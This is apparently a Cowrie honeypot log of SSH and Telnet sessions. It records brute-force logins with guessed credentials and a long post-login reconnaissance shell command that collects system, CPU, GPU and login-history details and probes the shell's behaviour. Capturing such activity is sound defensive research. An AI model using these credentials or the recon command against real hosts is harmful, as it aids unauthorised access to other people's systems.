{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:23.312055Z","src_ip":"176.53.159.196","session":"5e0a8659756d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:23.602570Z","src_ip":"176.53.159.196","session":"5e0a8659756d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:23.701772Z","session":"5e0a8659756d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:23.801994Z","src_ip":"176.53.159.196","session":"5e0a8659756d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:23.901696Z","src_ip":"176.53.159.196","session":"5e0a8659756d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":41582,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b437bb002a6","protocol":"ssh","message":"New connection: 144.91.108.61:41582 (10.17.0.5:22) [session: 0b437bb002a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:24.127672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:24.131149Z","src_ip":"144.91.108.61","session":"0b437bb002a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:24.223784Z","src_ip":"144.91.108.61","session":"0b437bb002a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bangkok_thailand","password":"bangkok123","message":"login attempt [bangkok_thailand/bangkok123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:24.502491Z","src_ip":"144.91.108.61","session":"0b437bb002a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:25.600821Z","src_ip":"144.91.108.61","session":"0b437bb002a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10599682745","protocol":"telnet","message":"New connection: 170.64.224.25:39898 (159.203.135.109:23) [session: b10599682745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:57.017682Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":35130,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9cd69bf18d7","protocol":"ssh","message":"New connection: 91.92.40.10:35130 (10.17.0.5:22) [session: b9cd69bf18d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:07.405537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:07.540430Z","src_ip":"91.92.40.10","session":"b9cd69bf18d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:07.543772Z","src_ip":"91.92.40.10","session":"b9cd69bf18d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"12345678","message":"login attempt [backup/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:08.415197Z","src_ip":"91.92.40.10","session":"b9cd69bf18d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:09.511654Z","src_ip":"91.92.40.10","session":"b9cd69bf18d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":44058,"dst_ip":"10.17.0.5","dst_port":22,"session":"e04a391253e9","protocol":"ssh","message":"New connection: 103.122.221.179:44058 (10.17.0.5:22) [session: e04a391253e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:29.080283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:29.084693Z","src_ip":"103.122.221.179","session":"e04a391253e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:29.345978Z","src_ip":"103.122.221.179","session":"e04a391253e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02071977","message":"login attempt [root/02071977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:30.129605Z","src_ip":"103.122.221.179","session":"e04a391253e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:31.393151Z","src_ip":"103.122.221.179","session":"e04a391253e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.460906982421875,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:16:53.478451Z","src_ip":"170.64.224.25","session":"b10599682745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":55690,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c8ae658ed6b","protocol":"ssh","message":"New connection: 91.92.40.176:55690 (10.17.0.5:22) [session: 1c8ae658ed6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.178477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.185497Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.272057Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle123","message":"login attempt [oracle/Oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.637253Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.871894Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.874607Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.877593Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.880308Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.882819Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.886189Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.888026Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.889935Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.893357Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.896672Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.899921Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:04.993870Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:05.147478Z","src_ip":"91.92.40.176","session":"1c8ae658ed6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":36906,"dst_ip":"10.17.0.5","dst_port":22,"session":"274aff0e48ad","protocol":"ssh","message":"New connection: 176.53.159.196:36906 (10.17.0.5:22) [session: 274aff0e48ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:17.076272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:17:17.079651Z","src_ip":"176.53.159.196","session":"274aff0e48ad","protocol":"ssh"}
